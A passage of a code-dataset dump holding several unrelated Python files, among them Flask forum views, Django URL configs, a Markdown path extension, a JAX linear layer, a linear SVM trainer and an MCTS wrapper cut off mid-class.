evar\n\t\t\t\t\tself.base_process(edict, ndict, key+u'.'+str(i))\n\t\t\t\t\tedict.clear()\n\t\t\telif type(e) == list:\n\t\t\t\tself.move_list(e, ndict, key+u'.'+str(i))\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tself.move(e, ndict, key+u'.'+str(i))\n\t\t\n\t\t\n\tdef base_process(self, dit, ndict, prefix_key=None):\n\t\tfor key, var in dit.items():\n\t\t\tif type(var) == dict:\n\t\t\t\tif prefix_key is None:\n\t\t\t\t\tself.move_dict(var, ndict, key)\n\t\t\t\telse:\n\t\t\t\t\tself.move_dict(var, ndict, prefix_key+u'.'+key)\n\t\t\t\t\t\n\t\t\telse: # the end\n\t\t\t\tif prefix_key is None:\n\t\t\t\t\tself.move(var, ndict, key)\n\t\t\t\telse:\n\t\t\t\t\tself.move(var, ndict, prefix_key+u'.'+key)\n\t\t\t\t\t\n\t\n\tdef get_dict(self):\n\t\treturn self.ndict\n\t\t\t\t\t\n\t\n","sub_path":"JSON2DICTV2.py","file_name":"JSON2DICTV2.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"94883113","text":"import json\n\ndef get_num_data(test_data):\n with open('test_num_1.json', 'w') as f1, open('test_num_2.json', 'w') as f2, open('test_num_3.json', 'w') as f3, open('test_num_4.json', 'w') as f4, open('test_num_5.json', 'w') as f5:\n test_1 = []\n test_2 = []\n test_3 = []\n test_4 = []\n test_5 = [] # triple_num >= 5\n for a in test_data:\n if not a['spo_list']:\n continue\n triples = a['spo_list']\n triples_num = len(triples)\n if triples_num == 1:\n test_1.append(a)\n elif triples_num == 2:\n test_2.append(a)\n elif triples_num == 3:\n test_3.append(a)\n elif triples_num == 4:\n test_4.append(a)\n else:\n test_5.append(a)\n\n f1.write(json.dumps(test_1))\n f2.write(json.dumps(test_2))\n f3.write(json.dumps(test_3))\n f4.write(json.dumps(test_4))\n f5.write(json.dumps(test_5))\n\n\nif __name__ == '__main__':\n file_dir = '../data/'\n file_name = 'test.json' # test file\n test_data = json.load(open(file_dir + file_name, errors='ignore'))\n get_num_data(test_data)\n\n","sub_path":"dataset/NYT-E/vaild_data/build_num_data.py","file_name":"build_num_data.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"624306644","text":"# coding=utf-8\r\nfrom datetime import datetime\r\nfrom flask import render_template, redirect, url_for, request, current_app, abort, make_response, flash,jsonify\r\nfrom flask_login import login_required, current_user\r\nfrom ..decorators import admin_required\r\nfrom . import topic\r\nfrom .forms import TopicForm, CommentForm\r\nfrom ..models import User,Zhiding, Permission, Topic, Role, Comment, Reply, Article, Post\r\nfrom .. import db, moment\r\nimport os, random\r\nfrom app import basedir\r\n\r\n\r\n\r\n@topic.route('/', methods=['POST', 'GET'])\r\ndef topic_list():\r\n form = TopicForm()\r\n if current_user.can(Permission.WRITE_ARTICLES) and request.method == 'POST':\r\n topic = Topic(title=form.title.data, body=form.body.data, author=current_user)\r\n db.session.add(topic)\r\n db.session.commit()\r\n return redirect(url_for('topic.topic_list'))\r\n page = request.args.get('page', 1, type=int)\r\n topics=Topic.query.order_by(Topic.timestamp.desc())\r\n pagination = topics.paginate(page, per_page=current_app.config['POSTS_PER_PAGE'], error_out=False)\r\n items = pagination.items\r\n return render_template('topic/list.html', form=form, items=items, pagination=pagination)\r\n\r\n\r\n@topic.route('/', methods=['POST', 'GET'])\r\ndef detail_topic(id):\r\n form=CommentForm()\r\n topic = Topic.query.get_or_404(id)\r\n\r\n if form.validate_on_submit():\r\n new_comment = Comment()\r\n new_comment.parent = topic\r\n new_comment.body = form.body.data\r\n new_comment.author = current_user\r\n db.session.add(new_comment)\r\n db.session.commit()\r\n return redirect(url_for('topic.detail_topic', id=id))\r\n return render_template('topic/detail.html',user=topic.author, topic=topic,form=form)\r\n\r\n\r\n@topic.route('/delete/')\r\n@login_required\r\ndef delete_topic(id):\r\n topic = Topic.query.get_or_404(id)\r\n db.session.delete(topic)\r\n db.session.commit()\r\n return redirect(url_for('topic.topic_list'))\r\n\r\n\r\n@topic.route('/edit/', methods=['POST', 'GET'])\r\n@login_required\r\ndef edit(id):\r\n topic = Topic.query.get_or_404(id)\r\n user = User.query.filter_by(id=topic.author_id).first()\r\n form = TopicForm()\r\n if (current_user.id != topic.author_id and not current_user.can(Permission.ADMINISTER)) or not current_user.can(\r\n Permission.WRITE_ARTICLES):\r\n abort(403)\r\n else:\r\n if form.validate_on_submit():\r\n topic.title = form.title.data\r\n topic.body = form.body.data\r\n topic.timestamp = datetime.now()\r\n db.session.add(topic)\r\n db.session.commit()\r\n return redirect(url_for('topic.topic_list'))\r\n form.body.data = topic.body\r\n form.title.data = topic.title\r\n return render_template('topic/edit.html', form=form, topic=topic, user=user)\r\n\r\n\r\n@topic.route('/delete_comment/')\r\n@admin_required\r\ndef delete_comment(id):\r\n comment = Comment.query.get_or_404(id)\r\n db.session.delete(comment)\r\n replys=Reply.query.filter_by(comment=comment).all()\r\n for reply in replys:\r\n db.session.delete(reply)\r\n db.session.commit()\r\n return \"success\"\r\n\r\n\r\n@topic.route('/reply/', methods=['POST', 'GET'])\r\ndef reply(id):\r\n comment = Comment.query.get_or_404(id)\r\n if request.method == \"POST\":\r\n new_reply = Reply()\r\n new_reply.comment = comment\r\n new_reply.author = current_user._get_current_object()\r\n new_reply.body = request.form['rebody']\r\n db.session.add(new_reply)\r\n db.session.commit()\r\n return redirect(url_for('topic.detail_topic',id=comment.parent.id))\r\n\r\n\r\n@topic.route('/delete_reply/')\r\ndef delete_reply(id):\r\n reply = Reply.query.get_or_404(id)\r\n db.session.delete(reply)\r\n db.session.commit()\r\n return \"success\"\r\n\r\n\r\n@topic.route('/zhiding/')\r\ndef zhiding(id):\r\n topic=Topic.query.get_or_404(id)\r\n new_zhiding=Zhiding()\r\n new_zhiding.name=topic.title\r\n new_zhiding.url=url_for('topic.detail_topic',id=id)\r\n new_zhiding.zhidingren_id=current_user.id\r\n db.session.add(new_zhiding)\r\n db.session.commit()\r\n return redirect(url_for('topic.topic_list'))\r\n","sub_path":"app/topic/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"336871757","text":"\"\"\"\n 行为封装\n 创建类型时,应该保障数据在有效范围内.\n 对外提供必要功能(读取年龄,修改年龄),隐藏实现细节(保护年龄范围)\n 练习:exercise02\n\"\"\"\n\n# 需求:保护数据有效范围 22 ~ 30\nclass Wife:\n def __init__(self, name, age):\n self.name = name\n # self.age 访问的是属性property,不是实例变量\n self.age = age # 会执行age(self,value)函数\n\n @property\n def age(self):# 负责读取\n return self.__age\n\n @age.setter\n def age(self,value):# 负责写入\n if 22 <= value <=30:\n self.__age = value\n else:\n raise Exception(\"我不要\")\n\n\nw01 = Wife(\"双儿\", 26)\nw01.age = 28 # 会执行age(self,value)函数\nprint(w01.age) # 会执行age(self)函数\n\nprint(w01.__dict__)\n","sub_path":"day11/demo03.py","file_name":"demo03.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"406155354","text":"# TianTcl - Whisper game - generator\r\n\r\nimport random\r\n\r\n_subject = [\"ฉัน\",\"คุณ\",\"เขา\",\"มัน\",\"พวกเรา\",\"พวกเขา\",\"คน\",\"ชาวบ้าน\"]\r\next_sub = [None,\"ที่สูงๆ\",\"ที่กวาดถนนอยู่\",\"ตรงนั้น\",\"ในห้องนั้น\"]\r\n_verb = [\"กำลังวิ่ง\",\"เดิน\",\"คุยกัน\",\"นอนอยู่\"]\r\next_verb = [None,\"อย่างรวดเร็ว\",\"ช้าๆ\",\"เสียงดังมาก\"]\r\n_object = [None,\"ในลู่วิ่ง\",\"เรื่อง Python \",\"บนบาทวิถี\",\"ใต้ต้นไม้\"]\r\next_obj = [None,\"ที่สนามกีฬา\",\"ที่มีไม้ปกคลุม\",\"ยักษ์ใหญ่\"]\r\n\r\nfile_words = str(open(r\"words\\subject.txt\",\"r\"))\r\nnew_list = file_words.split(\"\\n\")\r\nfor word in new_list:\r\n _subject.append(word)\r\nfile_words = str(open(r\"words\\verb.txt\",\"r\"))\r\nnew_list = file_words.split(\"\\n\")\r\nfor word in new_list:\r\n _verb.append(word)\r\nfile_words = str(open(r\"words\\object.txt\",\"r\"))\r\nnew_list = file_words.split(\"\\n\")\r\nfor word in new_list:\r\n _object.append(word)\r\nfile_words = str(open(r\"words\\extend subject.txt\",\"r\"))\r\nnew_list = file_words.split(\"\\n\")\r\nfor word in new_list:\r\n _subject.append(word)\r\nfile_words = str(open(r\"words\\extend verb.txt\",\"r\"))\r\nnew_list = file_words.split(\"\\n\")\r\nfor word in new_list:\r\n _verb.append(word)\r\nfile_words = str(open(r\"words\\extend object.txt\",\"r\"))\r\nnew_list = file_words.split(\"\\n\")\r\nfor word in new_list:\r\n _object.append(word)\r\n\r\ndef make(_part):\r\n\r\n if _part == \"subject\":\r\n word = random.choice(_subject)\r\n elif _part == \"verb\":\r\n word = random.choice(_verb)\r\n elif _part == \"object\":\r\n word = random.choice(_object)\r\n elif _part == \"ext subject\":\r\n word = random.choice(ext_sub)\r\n elif _part == \"ext verb\":\r\n word = random.choice(ext_verb)\r\n elif _part == \"ext object\":\r\n word = random.choice(ext_obj)\r\n return word\r\n\r\ndef gen():\r\n parts =[\"subject\",\"ext subject\",\"verb\",\"object\",\"ext object\",\"ext verb\"]\r\n sentence = \"\"\r\n for part in parts:\r\n word = make(part)\r\n if word is not None:\r\n sentence += word\r\n return sentence\r\n","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"575679971","text":"from django.conf.urls import include\nfrom django.urls import path, re_path\n\nfrom vfw_status import views\n\napp_name = 'vfw_status'\n\nservice_urls = [\n]\n\nurlpatterns = [\n re_path(r'^$', views.home, name='home'),\n path('/', include(service_urls)),\n]\n","sub_path":"vfw_status/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"631503956","text":"import json\n\n\ndef load_parameters(train_filename, test_filename):\n params = []\n with open(train_filename, 'r') as f:\n for jsonObj in f:\n param = json.loads(jsonObj)\n params.append(param)\n\n e = {}\n s = ['', 'N', 'O', 'S', '^', 'Z', 'L', 'M', 'V', 'A', 'R', '!', 'D', \\\n 'P', '&', 'T', 'X', 'Y', '#', '@', '~', 'U', 'E', '$', ',', 'G', '']\n o = {}\n trans = {}\n for st in s:\n trans[st] = {}\n e[st] = {}\n for param in params:\n prev = None\n next = param[0][1]\n if next not in trans['']:\n trans[''][next] = 0\n trans[''][next] += 1.0\n for a, b in param:\n if a not in o:\n o[a] = 0\n o[a] += 1\n\n if b not in e:\n e[b] = {}\n trans[b] = {}\n\n if a not in e[b]:\n e[b][a] = 0\n e[b][a] += 1\n\n if prev is not None:\n if b not in trans[prev[1]]:\n trans[prev[1]][b] = 0\n trans[prev[1]][b] += 1\n prev = [a, b]\n if '' not in trans[prev[1]]:\n trans[prev[1]][''] = 0\n trans[prev[1]][''] += 1.0\n\n # laplace smoothing\n af = 1.0\n with open(test_filename, 'r') as f:\n for jsonObj in f:\n param = json.loads(jsonObj)\n for a,b in param:\n if a not in o:\n o[a] = af\n if a not in e[b]:\n e[b][a] = 0.0\n\n o = [k for k, v in sorted(o.items(), key=lambda item: item[1], reverse=True)]\n for state in e:\n n = sum(e[state].values()) + af * len(o)\n for word in e[state]:\n e[state][word] = (e[state][word] + af) / n\n for state in trans:\n n = sum(trans[state].values())\n for next_state in s:\n if next_state == '':\n continue\n if next_state in trans[state]:\n trans[state][next_state] /= n\n else:\n trans[state][next_state] = 0\n return s, o, trans, e\n\n\ndef write_parameters(filename, s, o, trans, e):\n with open(filename, 'w') as f:\n json.dump({'S': s, 'O': o, 'P_trans': trans, 'P_emission': e}, f, indent=4, separators=(',', ': '))\n\n\nif __name__ == \"__main__\":\n s, o, trans, e = load_parameters('twt.train.json', 'twt.test.json')\n write_parameters('twitter_pos_hmm_laplace.json', s, o, trans, e)\n","sub_path":"build_twitter_hmm_laplace.py","file_name":"build_twitter_hmm_laplace.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"347670241","text":"\"\"\"\nmdownx.absolutepath\nAn extension for Python Markdown.\nGiven an absolute base path, this extension searches for file\nreferences that are relative and converts them to absolute paths.\n\nMIT license.\n\nCopyright (c) 2014 Isaac Muse \n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\"\"\"\nfrom __future__ import unicode_literals\nfrom markdown import Extension\nfrom markdown.treeprocessors import Treeprocessor\nfrom os.path import exists, normpath, join\nimport sys\n\nif sys.platform.startswith('win'):\n _PLATFORM = \"windows\"\nelif sys.platform == \"darwin\":\n _PLATFORM = \"osx\"\nelse:\n _PLATFORM = \"linux\"\n\nexclusion_list = (\n 'file://', 'https://', 'http://', '/', '#'\n \"data:image/jpeg;base64,\", \"data:image/png;base64,\", \"data:image/gif;base64,\"\n)\n\n\ndef repl(path, base_path):\n \"\"\" Replace path with absolute path \"\"\"\n\n link = path\n\n if not path.startswith(exclusion_list):\n absolute = normpath(join(base_path, path))\n if exists(absolute):\n if _PLATFORM == \"windows\":\n link = 'file:///%s' % absolute.replace(\"\\\\\", \"/\")\n else:\n link = 'file://%s' % absolute.replace(\"\\\\\", \"/\")\n return link\n\n\nclass AbsolutepathTreeprocessor(Treeprocessor):\n def run(self, root):\n \"\"\" Replace relative paths with absolute \"\"\"\n\n if self.config['base_path'] is None:\n return root\n\n ilinks = root.getiterator('img')\n slinks = root.getiterator('scripts')\n alinks = root.getiterator('a')\n for links in (alinks, ilinks, slinks):\n for link in links:\n src = link.attrib.get(\"src\")\n href = link.attrib.get(\"href\")\n if src is not None:\n link.attrib[\"src\"] = repl(src, self.config['base_path'])\n if href is not None:\n link.attrib[\"href\"] = repl(href, self.config['base_path'])\n return root\n\n\nclass AbsolutepathExtension(Extension):\n def __init__(self, configs):\n self.config = {\n 'base_path': [None, \"Base path for absolute path to use to resolve paths - Default: None\"]\n }\n\n for key, value in configs:\n if key == \"base_path\" and exists(value):\n self.setConfig(key, value)\n\n def extendMarkdown(self, md, md_globals):\n \"\"\"Add AbsolutepathTreeprocessor to Markdown instance\"\"\"\n\n abs_path = AbsolutepathTreeprocessor(md)\n abs_path.config = self.getConfigs()\n md.treeprocessors.add(\"absolutepath\", abs_path, \"_end\")\n md.registerExtension(self)\n\n\ndef makeExtension(configs={}):\n return AbsolutepathExtension(configs=configs)\n","sub_path":"mdownx/absolutepath.py","file_name":"absolutepath.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"132375818","text":"from django.urls import path\r\nfrom django.contrib import admin\r\nfrom.import views\r\n\r\n# django admin header customization\r\nadmin.site.site_header = \"login to devloper hostp\"\r\nadmin.site.site_title = \"login to hostp dashboard \"\r\nadmin.site.index_title = \"welcome to portal \"\r\n\r\nurlpatterns = [\r\npath('hello',views.hello, name='hello'),\r\n path('',views.base, name='home'),\r\n path('feedback',views.feedback, name='feedback'),\r\n path('signup',views.handleSignup, name='handleSignup'),\r\n path('login',views.handleLogin, name='handleLogin'),\r\n path('logout',views.handleLogout, name='handleLogout'),\r\n path('book',views.book, name='book'),\r\n path('Emergency',views.Emergency, name='Emergency'),\r\n path('Blood',views.Blood, name='Blood'),\r\n path('Opt',views.Opt, name='Opt'),\r\n path('Information',views.Information, name=' Information'),\r\n path('profile',views.profile, name='profile'),\r\n path('delete',views.delete, name='delete'),\r\n path('editprofile',views.editprofile, name='editprofile'),\r\n \r\n]","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"390093802","text":"import math\nfrom functools import wraps\n\nimport jax\nimport jax.numpy as jnp\nfrom jax import jit\nfrom jax import linear_util as lu\nfrom jax import value_and_grad, vjp\nfrom jax.api import _check_scalar, argnums_partial\n\nfrom ..networks.module import Module\nfrom ..synapses.img2col import *\n\n# 함수 정의\n\n\ndef elementwise_grad(function, x, initial_gradient=None):\n gradient_function = grad(function, initial_gradient, x)\n return gradient_function\n\n\ndef grad(fun, initial_grad=None, argnums=0):\n value_and_grad_f = value_and_grad(fun, initial_grad, argnums)\n\n docstr = (\"Gradient of {fun} with respect to positional argument(s) \"\n \"{argnums}. Takes the same arguments as {fun} but returns the \"\n \"gradient, which has the same shape as the arguments at \"\n \"positions {argnums}.\")\n\n @wraps(fun, docstr=docstr, argnums=argnums)\n def grad_f(*args, **kwargs):\n ans, g = value_and_grad_f(*args, **kwargs)\n return g\n\n return grad_f\n\n\nclass Linear(Module):\n def __init__(self, in_features, out_features):\n super(Linear, self).__init__()\n self.in_features = in_features\n self.out_features = out_features\n self.weight = jnp.zeros((out_features, in_features))\n self.reset_parameters()\n\n def reset_parameters(self):\n size = self.weight.data.shape\n stdv = 1. / math.sqrt(size[1])\n\n keyW = jax.random.PRNGKey(0)\n keyB = jax.random.PRNGKey(0)\n\n self.weight = jax.random.uniform(\n minval=-stdv, maxval=stdv, shape=self.weight, key=keyW)\n if self.bias is not None:\n self.bias = jax.random.uniform(\n minval=-stdv, maxval=stdv, shape=self.bias, key=keyB)\n\n def forward(self, input):\n def jnp_fn(input_jnp, weights_jnp):\n out = jnp.matmul(input_jnp, weights_jnp.T) # T\n\n return out\n\n jnp_args = (input, self.weight,\n None if self.bias is None else self.bias)\n out = jnp_fn(*jnp_args)\n return out\n\n def backward(self, grad_outputs):\n jnp_fn = jnp_fn\n jnp_args = self.jnp_args\n indexes = [index for index, need_grad in enumerate(\n self.needs_input_grad) if need_grad]\n\n jnp_grad_fn = elementwise_grad(jnp_fn, indexes, grad_outputs)\n grads = jnp_grad_fn(*jnp_args)\n return grads\n","sub_path":"rA9/synapses/Linear.py","file_name":"Linear.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"434166726","text":"import random\nimport math\nfrom sympy.geometry import *\nfrom datetime import datetime\n\nCELL_WIDTH = 20 # square width\nDEFAULT_WEIGHT = 0.1 # default weight\nWALKABLE_CELL_COLOR = \"white\"\nBLOCKED_CELL_COLOR = \"gray\"\nNUMBER_OF_CELLS = 30 # 30\nNUMBER_OF_CELLS_SQR = NUMBER_OF_CELLS*NUMBER_OF_CELLS\nBOARD_MAX=NUMBER_OF_CELLS*CELL_WIDTH\nMOUSE_RADIUS = 8\nMOUSE_FILL_COLOR = \"red\"\nSUGGESTED_MOUSE_FILL_COLOR = \"yellow\"\nPATH_LINE_COLOR = \"green\"\nnum_learning_steps = 1000\nLOG_LEVEL_DEBUG=3\nLOG_LEVEL_INFO=2\nLOG_LEVEL_NONE=1\nlog_level = LOG_LEVEL_INFO\nDAMAGE_MODE_SINGLE_CELL=0\nDAMAGE_MODE_SPREAD_CELL=1\nDAMAGE_MODE_BOTH=2\n\nMAZE_LIST=[\"default\",\"maze1\",\"maze2\",\"maze3\",\"maze4\",\"maze5\",\"maze6\",\"maze7\",\"maze8\",\"maze9\"]\nSIGMA2_INC=0.1\nSIGMA1_INC=0.1\nROUND_TO_DIGITS=6\nREPORT_FOLDER = \"reports\"\n\nALPHA = 0.9\nSIGMA1 = 10\nSIGMA2 = 10\nMEAN = 0\nMIN = 0.5\nMAX_Y = 30\nGAMMA = 0.9\nW_ALPHA=0.9\nW_GAMMA=0.9\nR_VALUE=10\n\n\ndef set_grid_size(grid_size):\n global NUMBER_OF_CELLS\n global NUMBER_OF_CELLS_SQR\n global BOARD_MAX\n NUMBER_OF_CELLS=grid_size\n NUMBER_OF_CELLS_SQR = NUMBER_OF_CELLS * NUMBER_OF_CELLS\n BOARD_MAX = NUMBER_OF_CELLS * CELL_WIDTH\ndef set_gamma(gamma):\n global GAMMA\n GAMMA = gamma\ndef set_alpha(alpha):\n global ALPHA\n ALPHA = alpha\ndef incr_sigma2():\n global SIGMA2\n SIGMA2 += SIGMA2_INC\ndef decr_sigma2(sigma2):\n global SIGMA2\n SIGMA2 -= SIGMA2_INC\n\ndef incr_sigma1():\n global SIGMA1\n SIGMA1 +=SIGMA1_INC\ndef decr_sigma1():\n global SIGMA1\n SIGMA1 -=SIGMA1_INC\ndef max_y_coord():\n return CELL_WIDTH * NUMBER_OF_CELLS # 600\n\ndef max_x_coord():\n return CELL_WIDTH * NUMBER_OF_CELLS # 600\n\ndef not_used_exit_cell_x1():\n return 200\ndef not_used_exit_cell_x2():\n return 220\n\ndef not_used_exit_cell_y1():\n return 300\ndef not_used_exit_cell_y2():\n return 320\n\ndef d(msg):\n if log_level= min(y1,y2) and y<= max(y1,y2)\n\ndef line_intersection_same_slope(y1,y2,y3,y4):\n a1 = min(y1,y2)\n a2 = max(y1,y2)\n b1 = min(y2,y3)\n b2 = max(y2,y3)\n # line 1 is a1-a2 a2>=a1\n # line 2 is b1-b2 b2>=b1\n\n if a1 == b1 and a2 == b2: # both lines are same same l\n return a1,a2\n if is_in_range_vertical(a1,a2,b1):\n # b1 is point\n if is_in_range_vertical(a1,a2,b2):\n # b2 is also point\n return b1,b2\n else:\n return b1,a2\n elif is_in_range_vertical(a1,a2,b2):\n return a1,b2\n else:\n return None,None\n\ndef line_intersection(line1, line2):\n # find slope of fist line\n m1, b1 = equation_of_line(line1)\n m2, b2 = equation_of_line(line2)\n\n if m1 != None and m2 != None:\n # None of the lines are parallel to y-axis\n if m1 != m2:\n # sliopes are not equal\n x = (b2-b1)/(m1-m2)\n y = m1 * x + b1\n else:\n # slopes are equal and not parallel to y-axis\n # two case\n if b1 == b2:\n # y intercep are also equal\n # two cases prallel to x axis\n x1, x2 = line_intersection_same_slope(line1[0][0], line1[1][0], line2[0][0], line2[1][0])\n x = x1\n y1, y2 = line_intersection_same_slope(line1[0][1], line1[1][1], line2[0][1], line2[1][1])\n y = y1\n # other wise\n else:\n # slopes are equal but differet y intercepts\n # so no intersection\n return None,None\n elif m1 == None and m2 == None:\n # Both lines are parallel to y axis\n x = line1[0][0]\n x1,x2 = line_intersection_same_slope(line1[0][0], line1[1][0], line2[0][0], line2[1][0])\n x = x1\n y1, y2 = line_intersection_same_slope(line1[0][1], line1[1][1], line2[0][1], line2[1][1])\n y = y1\n elif m1 == None:\n # line one is parallel to y -axis\n if b1 != None:\n x = b1\n y = m2 * x + b2\n else:\n return None,None\n else: # m2 == None:\n # line2 is parallel y-axis\n if b2 != None:\n x = b2\n y = m1 * x + b1\n else:\n return None,None\n\n if is_in_range(x, y,line1) and is_in_range(x, y,line2):\n return x, y\n else:\n return None, None\n\n\ndef line_intersection_old(line1, line2):\n xdiff = (line1[0][0] - line1[1][0], line2[0][0] - line2[1][0])\n ydiff = (line1[0][1] - line1[1][1], line2[0][1] - line2[1][1]) #Typo was here\n\n def det(a, b):\n return a[0] * b[1] - a[1] * b[0]\n\n div = det(xdiff, ydiff)\n if div == 0:\n return None,None\n\n d = (det(*line1), det(*line2))\n x = det(d, xdiff) / div\n y = det(d, ydiff) / div\n if not is_in_range(x,y,line1):\n return None,None\n if not is_in_range(x,y,line2):\n return None,None\n\n return x, y\n\ndef main():\n for i in range(100):\n\n line1 = [[100* random.random(),100* random.random()],[100* random.random(),100* random.random()]]\n line2 = [[100* random.random(),100* random.random()],[100* random.random(),100* random.random()]]\n p11 = (line1[0][0],line1[0][1])\n p12 = (line1[1][0],line1[1][1])\n p21 = (line2[0][0], line2[0][1])\n p22 = (line2[1][0], line2[1][1])\n t1 = datetime.now().microsecond\n inter_value = intersection(Segment2D(p11,p12),Segment2D(p21,p22))\n t2 = datetime.now().microsecond\n t3 = datetime.now().microsecond\n x2, y2 = line_intersection(line1, line2)\n t4 = datetime.now().microsecond\n if inter_value:\n x1= float(inter_value[0].x)\n y1 = float(inter_value[0].y)\n print(x1,y1,x2,y2,end=' ')\n print(x2,y2, end=' ')\n else:\n print('#################',x2, y2)\n print(\"TIME \",(t2-t1),(t3-t4))","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"562708572","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport time\nfrom toolforData import loadCIFAR10, loadCIFAR_batch, data_validation\n\nclass LinearSVM(object):\n def __init__(self):\n self.W = None\n\n def loss(self, x, y, reg):\n loss = 0.0\n dw = np.zeros(self.W.shape)\n num_train = x.shape[0]\n scores = x.dot(self.W)\n correct_class_score = scores[range(num_train), list(y)].reshape(-1, 1)\n margin = np.maximum(0, scores - correct_class_score + 1)\n margin[range(num_train), list(y)] = 0\n loss = np.sum(margin)/num_train + 0.5 * reg * np.sum(self.W*self.W)\n\n num_classes = self.W.shape[1]\n inter_mat = np.zeros((num_train, num_classes))\n inter_mat[margin > 0] = 1\n inter_mat[range(num_train), list(y)] = 0\n inter_mat[range(num_train), list(y)] = -np.sum(inter_mat, axis=1)\n\n dW = (x.T).dot(inter_mat)\n dW = dW/num_train + reg*self.W\n return loss, dW\n pass\n\n def train(self, X, y, learning_rate=1e-3, reg=1e-5, num_iters=100,batch_size=200, verbose=False):\n num_train, dim = X.shape\n num_classes = np.max(y) + 1\n if self.W is None:\n self.W = 0.001 * np.random.randn(dim, num_classes)\n # Run stochastic gradient descent to optimize W\n loss_history = []\n for it in range(num_iters):\n X_batch = None\n y_batch = None\n idx_batch = np.random.choice(num_train, batch_size, replace = True)\n X_batch = X[idx_batch]\n y_batch = y[idx_batch]\n # evaluate loss and gradient\n loss, grad = self.loss(X_batch, y_batch, reg)\n loss_history.append(loss)\n self.W -= learning_rate * grad\n if verbose and it % 100 == 0:\n print('iteration %d / %d: loss %f' % (it, num_iters, loss))\n return loss_history\n pass\n\n def predict(self, X):\n y_pred = np.zeros(X.shape[0])\n scores = X.dot(self.W)\n y_pred = np.argmax(scores, axis = 1)\n return y_pred\n\nif __name__ == '__main__':\n svm = LinearSVM()\n tic = time.time()\n cifar10_name = '../Data/cifar-10-batches-py'\n x_train, y_train, x_test, y_test = loadCIFAR10(cifar10_name)\n X_val, Y_val, X_train, Y_train, X_dev, Y_dev, X_test, Y_test = data_validation(x_train, y_train, x_test, y_test)\n loss_hist = svm.train(X_train, Y_train, learning_rate=1e-7, reg=2.5e4,\n num_iters=3000, verbose=True)\n toc = time.time()\n print('That took %fs' % (toc - tic))\n plt.plot(loss_hist)\n plt.xlabel('Iteration number')\n plt.ylabel('Loss value')\n plt.show()\n y_test_pred = svm.predict(X_test)\n test_accuracy = np.mean(Y_test == y_test_pred)\n print('accuracy: %f' % test_accuracy)\n w = svm.W[:-1, :] # strip out the bias\n w = w.reshape(32, 32, 3, 10)\n w_min, w_max = np.min(w), np.max(w)\n classes = ['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n for i in range(10):\n plt.subplot(2, 5, i + 1)\n wimg = 255.0 * (w[:, :, :, i].squeeze() - w_min) / (w_max - w_min)\n plt.imshow(wimg.astype('uint8'))\n plt.axis('off')\n plt.title(classes[i])\n plt.show()\n","sub_path":"MachineLearning/Hinge Loss SVM/LinearSVM.py","file_name":"LinearSVM.py","file_ext":"py","file_size_in_byte":3296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"69193509","text":"import copy\nimport random\nimport signal\n\nimport numpy as np\n\nfrom helpers import argmax\n\n\nclass TimedOutExc(Exception):\n pass\n\n\ndef signal_handler(signum, frame):\n raise TimedOutExc(\"Timed out!\")\n\n\nclass Wrapper(object):\n def __init__(self, root_index, mcts_maker, model_save_file, model_wrapper_params,\n mcts_params, is_atari, n_mcts, budget, mcts_env, c_dpw,\n temp, game_maker=None, env=None, mcts_only=True, scheduler_params=None):\n\n assert game_maker is not None or env is not None, \"No environment or maker provided to the wrapper\"\n\n self.agents_count = 1\n self.root_index = root_index\n self.env = env\n self.mcts_only = mcts_only\n self.episode_probabilities = []\n self.curr_probs = None\n self.starting_states = []\n self.model_file = model_save_file\n self.model_wrapper_params = model_wrapper_params\n self.mcts_maker = mcts_maker\n self.mcts_params = mcts_params\n self.game_maker = game_maker\n self.model = None\n self.mcts = None\n # self.action_dim = Env.action_space.n\n 